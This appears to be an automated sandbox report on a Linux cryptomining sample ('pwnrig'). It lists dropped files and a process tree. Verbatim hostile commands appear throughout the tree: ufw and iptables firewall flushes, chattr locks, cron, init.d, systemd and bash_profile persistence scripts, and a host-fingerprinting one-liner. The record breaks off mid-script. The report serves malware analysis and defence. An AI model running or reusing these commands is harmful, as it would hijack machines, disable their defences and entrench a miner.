File opened for reading	/proc/75/stat	Process not Found
File opened for reading	/proc/1175/status	Process not Found
File opened for reading	/proc/5689/stat	Process not Found
File opened for reading	/proc/829/stat	ps
File opened for reading	/proc/641/stat	Process not Found
File opened for reading	/proc/617/status	Process not Found
File opened for reading	/proc/173/stat	ps
File opened for reading	/proc/1316/status	ps
File opened for reading	/proc/1115/cmdline	ps
File opened for reading	/proc/165/cmdline	pkill
File opened for reading	/proc/9/status	pkill
File opened for reading	/proc/448/cmdline	ps
File opened for reading	/proc/1410/cmdline	ps
File opened for reading	/proc/76/cmdline	ps
File opened for reading	/proc/675/cmdline	Process not Found
File opened for reading	/proc/635/status	Process not Found
File opened for reading	/proc/8/status	Process not Found
File opened for reading	/proc/177/stat	Process not Found
File opened for reading	/proc/1131/stat	Process not Found
File opened for reading	/proc/1505/status	Process not Found
File opened for reading	/proc/968/status	ps
File opened for reading	/proc/1041/cmdline	Process not Found
File opened for reading	/proc/669/status	Process not Found
File opened for reading	/proc/1/sched	systemctl
File opened for reading	/proc/617/stat	ps
File opened for reading	/proc/5507/status	Process not Found
File opened for reading	/proc/456/stat	Process not Found
File opened for reading	/proc/499/stat	ps
File opened for reading	/proc/1081/stat	ps
File opened for reading	/proc/587/status	ps
File opened for reading	/proc/72/cmdline	pkill
File opened for reading	/proc/159/cmdline	pkill
File opened for reading	/proc/1130/status	pkill
File opened for reading	/proc/802/status	Process not Found
File opened for reading	/proc/8/cmdline	ps
File opened for reading	/proc/9/stat	ps
File opened for reading	/proc/164/cmdline	ps
File opened for reading	/proc/485/status	Process not Found
File opened for reading	/proc/1474/status	Process not Found
File opened for reading	/proc/982/status	ps
File opened for reading	/proc/1505/cmdline	Process not Found
File opened for reading	/proc/1078/status	ps
File opened for reading	/proc/895/status	Process not Found
File opened for reading	/proc/1028/cmdline	ps
File opened for reading	/proc/1075/status	ps
File opened for reading	/proc/1077/status	Process not Found
File opened for reading	/proc/804/stat	ps
File opened for reading	/proc/440/cmdline	ps
File opened for reading	/proc/613/cmdline	ps
File opened for reading	/proc/89/status	Process not Found
File opened for reading	/proc/586/status	Process not Found
File opened for reading	/proc/481/status	Process not Found

Writes file to shm directory 1 IoCs

Malware can drop malicious files in the shm directory which will run directly from RAM.

description	ioc
File opened for modification	/dev/shm/.klibsystem5

Writes file to tmp directory 40 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sys-helper	Process not Found
File opened for modification	/tmp/.bashirc	sys-helper
File opened for modification	/tmp/.lock	service-agent
File opened for modification	/tmp/.bashirc	sys-helper
File opened for modification	/tmp/.bashirc	sys-helper
File opened for modification	/tmp/.bashirc	Process not Found
File opened for modification	/tmp/.lock	service-agent
File opened for modification	/tmp/.lock	Process not Found
File opened for modification	/tmp/.lock	service-agent
File opened for modification	/tmp/~/.bash_profile	sh
File opened for modification	/tmp/.bashirc	Process not Found
File opened for modification	/tmp/~/.bash_profile	Process not Found
File opened for modification	/tmp/.bashirc	Process not Found
File opened for modification	/tmp/.lock	Process not Found
File opened for modification	/tmp/.bashirc	sys-helper
File opened for modification	/tmp/~/.bash_profile	sh
File opened for modification	/tmp/.bashirc	Process not Found
File opened for modification	/tmp/.lock	Process not Found
File opened for modification	/tmp/.bashirc	Process not Found
File opened for modification	/tmp/~/.bash_profile	Process not Found
File opened for modification	/tmp/.bashirc	sys-helper
File opened for modification	/tmp/.lock	service-agent
File opened for modification	/tmp/~/.bash_profile	sh
File opened for modification	/tmp/.bashirc	sys-helper
File opened for modification	/tmp/.lock	Process not Found
File opened for modification	/tmp/service-agent	Process not Found
File opened for modification	/tmp/.klibsystem5	Process not Found
File opened for modification	/tmp/~/.bash_profile	Process not Found
File opened for modification	/tmp/~/.bash_profile	sh
File opened for modification	/tmp/.lock	service-agent
File opened for modification	/tmp/~/.bash_profile	sh
File opened for modification	/tmp/.bashirc	sys-helper
File opened for modification	/tmp/~/.bash_profile	sh
File opened for modification	/tmp/~/.bash_profile	Process not Found
File opened for modification	/tmp/sys-helper	bin.elf
File opened for modification	/tmp/service-agent	bin.elf
File opened for modification	/tmp/.lock	service-agent
File opened for modification	/tmp/~/.bash_profile	Process not Found
File opened for modification	/tmp/.lock	Process not Found
File opened for modification	/tmp/.lock	Process not Found

GoLang User-Agent 2 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	65	Go-http-client/1.1
HTTP User-Agent header	70	Go-http-client/1.1

/tmp/bin.elf
/tmp/bin.elf
1⤵
- Creates/modifies Cron job
- Modifies init.d
- Modifies systemd
- Writes file to system bin folder
- Writes file to tmp directory
PID:1498
- /usr/bin/bash
  bash -c "ufw disable"
  2⤵
  PID:1503
- /usr/sbin/ufw
  ufw disable
  2⤵
  - Flushes firewall rules
  PID:1503
- - /usr/sbin/iptables
    /usr/sbin/iptables -V
    3⤵
    PID:1508
- - /lib/ufw/ufw-init
    /lib/ufw/ufw-init force-stop
    3⤵
    PID:1509
  - - /sbin/ip6tables
      ip6tables -L INPUT -n
      4⤵
      PID:1510
    - - /sbin/modprobe
        
        /sbin/modprobe ip6_tables
        5⤵
        Loads a kernel module
        
        PID:1511
  - - /sbin/iptables
      iptables -F ufw-logging-deny
      4⤵
      PID:1513
  - - /sbin/iptables
      iptables -F ufw-logging-allow
      4⤵
      PID:1517
  - - /sbin/iptables
      iptables -F ufw-not-local
      4⤵
      PID:1518
  - - /sbin/iptables
      iptables -F ufw-user-logging-input
      4⤵
      PID:1519
  - - /sbin/iptables
      iptables -F ufw-user-limit-accept
      4⤵
      PID:1520
  - - /sbin/iptables
      iptables -F ufw-user-limit
      4⤵
      PID:1521
  - - /sbin/iptables
      iptables -F ufw-skip-to-policy-input
      4⤵
      PID:1522
  - - /sbin/iptables
      iptables -F ufw-reject-input
      4⤵
      PID:1523
  - - /sbin/iptables
      iptables -F ufw-after-logging-input
      4⤵
      PID:1524
  - - /sbin/iptables
      iptables -F ufw-after-input
      4⤵
      PID:1525
  - - /sbin/iptables
      iptables -F ufw-user-input
      4⤵
      PID:1526
  - - /sbin/iptables
      iptables -F ufw-before-input
      4⤵
      PID:1527
  - - /sbin/iptables
      iptables -F ufw-before-logging-input
      4⤵
      PID:1528
  - - /sbin/iptables
      iptables -F ufw-skip-to-policy-forward
      4⤵
      PID:1529
  - - /sbin/iptables
      iptables -F ufw-reject-forward
      4⤵
      PID:1530
  - - /sbin/iptables
      iptables -F ufw-after-logging-forward
      4⤵
      PID:1531
  - - /sbin/iptables
      iptables -F ufw-after-forward
      4⤵
      PID:1532
  - - /sbin/iptables
      iptables -F ufw-user-logging-forward
      4⤵
      PID:1533
  - - /sbin/iptables
      iptables -F ufw-user-forward
      4⤵
      PID:1534
  - - /sbin/iptables
      iptables -F ufw-before-forward
      4⤵
      PID:1535
  - - /sbin/iptables
      iptables -F ufw-before-logging-forward
      4⤵
      PID:1536
  - - /sbin/iptables
      iptables -F ufw-track-forward
      4⤵
      PID:1537
  - - /sbin/iptables
      iptables -F ufw-track-output
      4⤵
      PID:1538
  - - /sbin/iptables
      iptables -F ufw-track-input
      4⤵
      PID:1539
  - - /sbin/iptables
      iptables -F ufw-skip-to-policy-output
      4⤵
      PID:1540
  - - /sbin/iptables
      iptables -F ufw-reject-output
      4⤵
      PID:1541
  - - /sbin/iptables
      iptables -F ufw-after-logging-output
      4⤵
      PID:1542
  - - /sbin/iptables
      iptables -F ufw-after-output
      4⤵
      PID:1543
  - - /sbin/iptables
      iptables -F ufw-user-logging-output
      4⤵
      PID:1544
  - - /sbin/iptables
      iptables -F ufw-user-output
      4⤵
      PID:1545
  - - /sbin/iptables
      iptables -F ufw-before-output
      4⤵
      PID:1546
  - - /sbin/iptables
      iptables -F ufw-before-logging-output
      4⤵
      PID:1547
  - - /sbin/iptables
      iptables -Z ufw-logging-deny
      4⤵
      PID:1548
  - - /sbin/iptables
      iptables -Z ufw-logging-allow
      4⤵
      PID:1549
  - - /sbin/iptables
      iptables -Z ufw-not-local
      4⤵
      PID:1550
  - - /sbin/iptables
      iptables -Z ufw-user-logging-input
      4⤵
      PID:1551
  - - /sbin/iptables
      iptables -Z ufw-user-limit-accept
      4⤵
      PID:1552
  - - /sbin/iptables
      iptables -Z ufw-user-limit
      4⤵
      PID:1553
  - - /sbin/iptables
      iptables -Z ufw-skip-to-policy-input
      4⤵
      PID:1554
  - - /sbin/iptables
      iptables -Z ufw-reject-input
      4⤵
      PID:1555
  - - /sbin/iptables
      iptables -Z ufw-after-logging-input
      4⤵
      PID:1556
  - - /sbin/iptables
      iptables -Z ufw-after-input
      4⤵
      PID:1557
  - - /sbin/iptables
      iptables -Z ufw-user-input
      4⤵
      PID:1558
  - - /sbin/iptables
      iptables -Z ufw-before-input
      4⤵
      PID:1559
  - - /sbin/iptables
      iptables -Z ufw-before-logging-input
      4⤵
      PID:1560
  - - /sbin/iptables
      iptables -Z ufw-skip-to-policy-forward
      4⤵
      PID:1561
  - - /sbin/iptables
      iptables -Z ufw-reject-forward
      4⤵
      PID:1562
  - - /sbin/iptables
      iptables -Z ufw-after-logging-forward
      4⤵
      PID:1563
  - - /sbin/iptables
      iptables -Z ufw-after-forward
      4⤵
      PID:1564
  - - /sbin/iptables
      iptables -Z ufw-user-logging-forward
      4⤵
      PID:1565
  - - /sbin/iptables
      iptables -Z ufw-user-forward
      4⤵
      PID:1566
  - - /sbin/iptables
      iptables -Z ufw-before-forward
      4⤵
      PID:1567
  - - /sbin/iptables
      iptables -Z ufw-before-logging-forward
      4⤵
      PID:1568
  - - /sbin/iptables
      iptables -Z ufw-track-forward
      4⤵
      PID:1569
  - - /sbin/iptables
      iptables -Z ufw-track-output
      4⤵
      PID:1570
  - - /sbin/iptables
      iptables -Z ufw-track-input
      4⤵
      PID:1571
  - - /sbin/iptables
      iptables -Z ufw-skip-to-policy-output
      4⤵
      PID:1572
  - - /sbin/iptables
      iptables -Z ufw-reject-output
      4⤵
      PID:1573
  - - /sbin/iptables
      iptables -Z ufw-after-logging-output
      4⤵
      PID:1574
  - - /sbin/iptables
      iptables -Z ufw-after-output
      4⤵
      PID:1575
  - - /sbin/iptables
      iptables -Z ufw-user-logging-output
      4⤵
      PID:1576
  - - /sbin/iptables
      iptables -Z ufw-user-output
      4⤵
      PID:1577
  - - /sbin/iptables
      iptables -Z ufw-before-output
      4⤵
      PID:1578
  - - /sbin/iptables
      iptables -Z ufw-before-logging-output
      4⤵
      PID:1579
  - - /sbin/iptables
      iptables -X ufw-logging-deny
      4⤵
      PID:1580
  - - /sbin/iptables
      iptables -X ufw-logging-allow
      4⤵
      PID:1581
  - - /sbin/iptables
      iptables -X ufw-not-local
      4⤵
      PID:1582
  - - /sbin/iptables
      iptables -X ufw-user-logging-input
      4⤵
      PID:1583
  - - /sbin/iptables
      iptables -X ufw-user-logging-output
      4⤵
      PID:1584
  - - /sbin/iptables
      iptables -X ufw-user-logging-forward
      4⤵
      PID:1585
  - - /sbin/iptables
      iptables -X ufw-user-limit-accept
      4⤵
      PID:1586
  - - /sbin/iptables
      iptables -X ufw-user-limit
      4⤵
      PID:1587
  - - /sbin/iptables
      iptables -X ufw-user-input
      4⤵
      PID:1588
  - - /sbin/iptables
      iptables -X ufw-user-forward
      4⤵
      PID:1589
  - - /sbin/iptables
      iptables -X ufw-user-output
      4⤵
      PID:1590
  - - /sbin/iptables
      iptables -X ufw-skip-to-policy-input
      4⤵
      PID:1591
  - - /sbin/iptables
      iptables -X ufw-skip-to-policy-output
      4⤵
      PID:1592
  - - /sbin/iptables
      iptables -X ufw-skip-to-policy-forward
      4⤵
      PID:1593
  - - /sbin/iptables
      iptables -P INPUT ACCEPT
      4⤵
      PID:1594
  - - /sbin/iptables
      iptables -P OUTPUT ACCEPT
      4⤵
      PID:1595
  - - /sbin/iptables
      iptables -P FORWARD ACCEPT
      4⤵
      PID:1596
  - - /sbin/ip6tables
      ip6tables -F ufw6-logging-deny
      4⤵
      PID:1597
  - - /sbin/ip6tables
      ip6tables -F ufw6-logging-allow
      4⤵
      PID:1598
  - - /sbin/ip6tables
      ip6tables -F ufw6-not-local
      4⤵
      PID:1599
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-logging-input
      4⤵
      PID:1600
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-limit-accept
      4⤵
      PID:1601
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-limit
      4⤵
      PID:1602
  - - /sbin/ip6tables
      ip6tables -F ufw6-skip-to-policy-input
      4⤵
      PID:1603
  - - /sbin/ip6tables
      ip6tables -F ufw6-reject-input
      4⤵
      PID:1604
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-logging-input
      4⤵
      PID:1605
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-input
      4⤵
      PID:1606
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-input
      4⤵
      PID:1607
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-input
      4⤵
      PID:1608
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-logging-input
      4⤵
      PID:1609
  - - /sbin/ip6tables
      ip6tables -F ufw6-skip-to-policy-forward
      4⤵
      PID:1610
  - - /sbin/ip6tables
      ip6tables -F ufw6-reject-forward
      4⤵
      PID:1611
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-logging-forward
      4⤵
      PID:1612
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-forward
      4⤵
      PID:1613
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-logging-forward
      4⤵
      PID:1614
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-forward
      4⤵
      PID:1615
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-forward
      4⤵
      PID:1616
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-logging-forward
      4⤵
      PID:1617
  - - /sbin/ip6tables
      ip6tables -F ufw6-track-forward
      4⤵
      PID:1618
  - - /sbin/ip6tables
      ip6tables -F ufw6-track-output
      4⤵
      PID:1619
  - - /sbin/ip6tables
      ip6tables -F ufw6-track-input
      4⤵
      PID:1620
  - - /sbin/ip6tables
      ip6tables -F ufw6-skip-to-policy-output
      4⤵
      PID:1621
  - - /sbin/ip6tables
      ip6tables -F ufw6-reject-output
      4⤵
      PID:1622
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-logging-output
      4⤵
      PID:1623
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-output
      4⤵
      PID:1624
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-logging-output
      4⤵
      PID:1625
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-output
      4⤵
      PID:1626
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-output
      4⤵
      PID:1627
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-logging-output
      4⤵
      PID:1628
  - - /sbin/ip6tables
      ip6tables -Z ufw6-logging-deny
      4⤵
      PID:1629
  - - /sbin/ip6tables
      ip6tables -Z ufw6-logging-allow
      4⤵
      PID:1630
  - - /sbin/ip6tables
      ip6tables -Z ufw6-not-local
      4⤵
      PID:1631
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-logging-input
      4⤵
      PID:1632
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-limit-accept
      4⤵
      PID:1633
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-limit
      4⤵
      PID:1634
  - - /sbin/ip6tables
      ip6tables -Z ufw6-skip-to-policy-input
      4⤵
      PID:1635
  - - /sbin/ip6tables
      ip6tables -Z ufw6-reject-input
      4⤵
      PID:1636
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-logging-input
      4⤵
      PID:1637
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-input
      4⤵
      PID:1638
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-input
      4⤵
      PID:1639
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-input
      4⤵
      PID:1640
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-logging-input
      4⤵
      PID:1641
  - - /sbin/ip6tables
      ip6tables -Z ufw6-skip-to-policy-forward
      4⤵
      PID:1642
  - - /sbin/ip6tables
      ip6tables -Z ufw6-reject-forward
      4⤵
      PID:1645
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-logging-forward
      4⤵
      PID:1646
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-forward
      4⤵
      PID:1647
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-logging-forward
      4⤵
      PID:1648
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-forward
      4⤵
      PID:1649
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-forward
      4⤵
      PID:1650
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-logging-forward
      4⤵
      PID:1651
  - - /sbin/ip6tables
      ip6tables -Z ufw6-track-forward
      4⤵
      PID:1652
  - - /sbin/ip6tables
      ip6tables -Z ufw6-track-output
      4⤵
      PID:1653
  - - /sbin/ip6tables
      ip6tables -Z ufw6-track-input
      4⤵
      PID:1654
  - - /sbin/ip6tables
      ip6tables -Z ufw6-skip-to-policy-output
      4⤵
      PID:1655
  - - /sbin/ip6tables
      ip6tables -Z ufw6-reject-output
      4⤵
      PID:1656
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-logging-output
      4⤵
      PID:1657
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-output
      4⤵
      PID:1658
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-logging-output
      4⤵
      PID:1659
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-output
      4⤵
      PID:1660
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-output
      4⤵
      PID:1661
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-logging-output
      4⤵
      PID:1662
  - - /sbin/ip6tables
      ip6tables -X ufw6-logging-deny
      4⤵
      PID:1663
  - - /sbin/ip6tables
      ip6tables -X ufw6-logging-allow
      4⤵
      PID:1664
  - - /sbin/ip6tables
      ip6tables -X ufw6-not-local
      4⤵
      PID:1665
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-logging-input
      4⤵
      PID:1666
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-logging-output
      4⤵
      PID:1667
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-logging-forward
      4⤵
      PID:1668
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-limit-accept
      4⤵
      PID:1669
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-limit
      4⤵
      PID:1670
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-input
      4⤵
      PID:1671
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-forward
      4⤵
      PID:1672
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-output
      4⤵
      PID:1673
  - - /sbin/ip6tables
      ip6tables -X ufw6-skip-to-policy-input
      4⤵
      PID:1674
  - - /sbin/ip6tables
      ip6tables -X ufw6-skip-to-policy-output
      4⤵
      PID:1675
  - - /sbin/ip6tables
      ip6tables -X ufw6-skip-to-policy-forward
      4⤵
      PID:1676
  - - /sbin/ip6tables
      ip6tables -P INPUT ACCEPT
      4⤵
      PID:1677
  - - /sbin/ip6tables
      ip6tables -P OUTPUT ACCEPT
      4⤵
      PID:1678
  - - /sbin/ip6tables
      ip6tables -P FORWARD ACCEPT
      4⤵
      PID:1679
- /usr/bin/bash
  bash -c "iptables -P INPUT ACCEPT"
  2⤵
  PID:1681
- /usr/sbin/iptables
  iptables -P INPUT ACCEPT
  2⤵
  PID:1681
- /usr/bin/bash
  bash -c "iptables -P OUTPUT ACCEPT"
  2⤵
  PID:1682
- /usr/sbin/iptables
  iptables -P OUTPUT ACCEPT
  2⤵
  PID:1682
- /usr/bin/bash
  bash -c "iptables -P FORWARD ACCEPT"
  2⤵
  PID:1683
- /usr/sbin/iptables
  iptables -P FORWARD ACCEPT
  2⤵
  PID:1683
- /usr/bin/bash
  bash -c "iptables -F"
  2⤵
  PID:1684
- /usr/sbin/iptables
  iptables -F
  2⤵
  - Flushes firewall rules
  PID:1684
- /usr/bin/bash
  bash -c "chattr -ia /etc/ld.so.preload"
  2⤵
  PID:1685
- /usr/bin/chattr
  chattr -ia /etc/ld.so.preload
  2⤵
  - Attempts to change immutable files
  PID:1685
- /usr/bin/pgrep
  pgrep -f klibsystem4
  2⤵
  PID:1686
- /usr/bin/pgrep
  pgrep -f klibsystem5
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1687
- /usr/bin/chattr
  chattr +ia /etc/init.d/knlib
  2⤵
  PID:1688
- /etc/init.d/knlib
  /etc/init.d/knlib start
  2⤵
  - Executes dropped EXE
  PID:1689
- - /usr/bin/cp
    cp -f -r -- /bin/knlib5 /bin/klibsystem5
    3⤵
    PID:1690
- - /usr/bin/rm
    rm -rf -- klibsystem5
    3⤵
    PID:1692
- /usr/bin/chattr
  chattr +ia /etc/systemd/system/knlibe.service
  2⤵
  PID:1693
- /usr/bin/systemctl
  systemctl daemon-reload
  2⤵
  - Reads runtime system information
  PID:1694
- /usr/bin/systemctl
  systemctl enable knlibe.service
  2⤵
  PID:1756
- /usr/bin/chattr
  chattr +ia /bin/knlib5
  2⤵
  PID:1790
- /usr/bin/crontab
  crontab -r
  2⤵
  PID:1795
- /usr/bin/pkill
  pkill -f .klibsystem5
  2⤵
  PID:1803
- /usr/bin/pkill
  pkill -f .klibsystem4
  2⤵
  PID:1812
- /usr/bin/bash
  bash -c "echo \"* * * * * /home/.klibsystem5 >/dev/null 2>&1\" | crontab -"
  2⤵
  PID:1813
- - /usr/bin/crontab
    crontab -
    3⤵
    - Creates/modifies Cron job
    PID:1815
- /usr/bin/chattr
  chattr +ia /etc/cron.d/.lib-knlib4
  2⤵
  PID:1816
- /usr/bin/chattr
  chattr +ia /var/spool/cron/.lib-knlib4
  2⤵
  PID:1817
- /usr/bin/chattr
  chattr +ia /etc/cron.hourly/.lib-knlib4
  2⤵
  PID:1818
- /usr/bin/chattr
  chattr +ia /etc/cron.daily/.lib-knlib4
  2⤵
  PID:1819
- /usr/bin/chattr
  chattr +ia /etc/cron.weekly/.lib-knlib4
  2⤵
  PID:1820
- /usr/bin/chattr
  chattr +ia /etc/cron.monthly/.lib-knlib4
  2⤵
  PID:1821
- /usr/bin/chattr
  chattr -ia /etc/anacrontab
  2⤵
  PID:1822
- /usr/bin/chattr
  chattr +ia /etc/anacrontab
  2⤵
  PID:1823
- /tmp/sys-helper
  /tmp/sys-helper
  2⤵
  - Executes dropped EXE
  - Writes file to tmp directory
  PID:1824
- /tmp/service-agent
  /tmp/service-agent -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d -pwn
  2⤵
  - Executes dropped EXE
  - Checks CPU configuration
  - Checks hardware identifiers (DMI)
  - Reads CPU attributes
  - Reads hardware information
  - Enumerates kernel/hardware configuration
  PID:1828
- - /bin/sh
    sh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""
    3⤵
    - Attempts to change immutable files
    PID:1837
  - - /usr/bin/whoami
      whoami
      4⤵
      PID:1848
  - - /usr/bin/hostname
      hostname
      4⤵
      PID:1849
  - - /usr/bin/grep
      grep -c "^processor" /proc/cpuinfo
      4⤵
      Checks CPU configuration
      PID:1850
- - /bin/sh
    sh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"
    3⤵
    PID:1866
  - - /usr/bin/awk
      awk "/[zZ]/ && !a[\$2]++ {print \$2}"
      4⤵
      PID:1868
  - - /usr/bin/ps
      ps -A "-ostat,ppid"
      4⤵
      PID:1867
  - - /usr/bin/id
      id -u
      4⤵
      PID:1870
  - - /usr/bin/grep
      grep -v grep
      4⤵
      PID:1873
  - - /usr/bin/grep
      grep /etc/cron
      4⤵
      PID:1872
  - - /usr/bin/ps
      ps x
      4⤵
      Reads runtime system information
      PID:1871
- - /bin/sh
    sh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then SNIFFDIR='/bin';PWNDIR='/bin'; else rm -rf /tmp/.pwn 2>/dev/null;mkdir /tmp/.pwn 2>/dev/null;SNIFFDIR='/tmp/.pwn';PWNDIR='/tmp';fi;PWNRIG='pwnrig';PWNRIGE='pwnrige';PWNRIGL='pwnrigl';CROND='crondr';SYSD='sysdr';INITD='initdr';BPROFILE='bprofr';MINER='/tmp/service-agent';PROGRAM='-bash';if [ `id -u 2>/dev/null` -eq '0' ]; then chattr -i -a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;fi;rm -rf \$SNIFFDIR/\$BPROFILE 2>/dev/null;sed -i \"/\$BPROFILE/d\" ~/.bash_profile 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$BPROFILE 2>/dev/null;echo \"cp -f -r -- \$SNIFFDIR/\$BPROFILE \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null\" >> ~/.bash_profile 2>/dev/null;if [ `id -u 2>/dev/null` -eq '0' ]; then chattr +i +a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;mkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly 2>/dev/null;chattr -i -a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$CROND 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$CROND 2>/dev/null;echo -e \"#!/bin/bash\\ncp -f -r -- \$SNIFFDIR/\$CROND \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/cron.d/\$PWNRIG /etc/cron.daily/\$PWNRIG /etc/cron.hourly/\$PWNRIG /etc/cron.monthly/\$PWNRIG /etc/cron.weekly/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/cron.*/\$PWNRIG 2>/dev/null;chmod +x /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND 2>/dev/null;chattr +i +a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;if which chkconfig > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;chkconfig \$PWNRIG off 2>/dev/null;chkconfig --del \$PWNRIG 2>/dev/null;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n#\\n# \$PWNRIG Start/Stop the \$PWNRIG clock daemon.\\n#\\n# chkconfig: 2345 90 60\\n# description: \$PWNRIG (by pwned)\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;chkconfig --add \$PWNRIG 2>/dev/null;chkconfig \$PWNRIG on 2>/dev/null;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which update-rc.d > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;update-rc.d -f \$PWNRIG disable 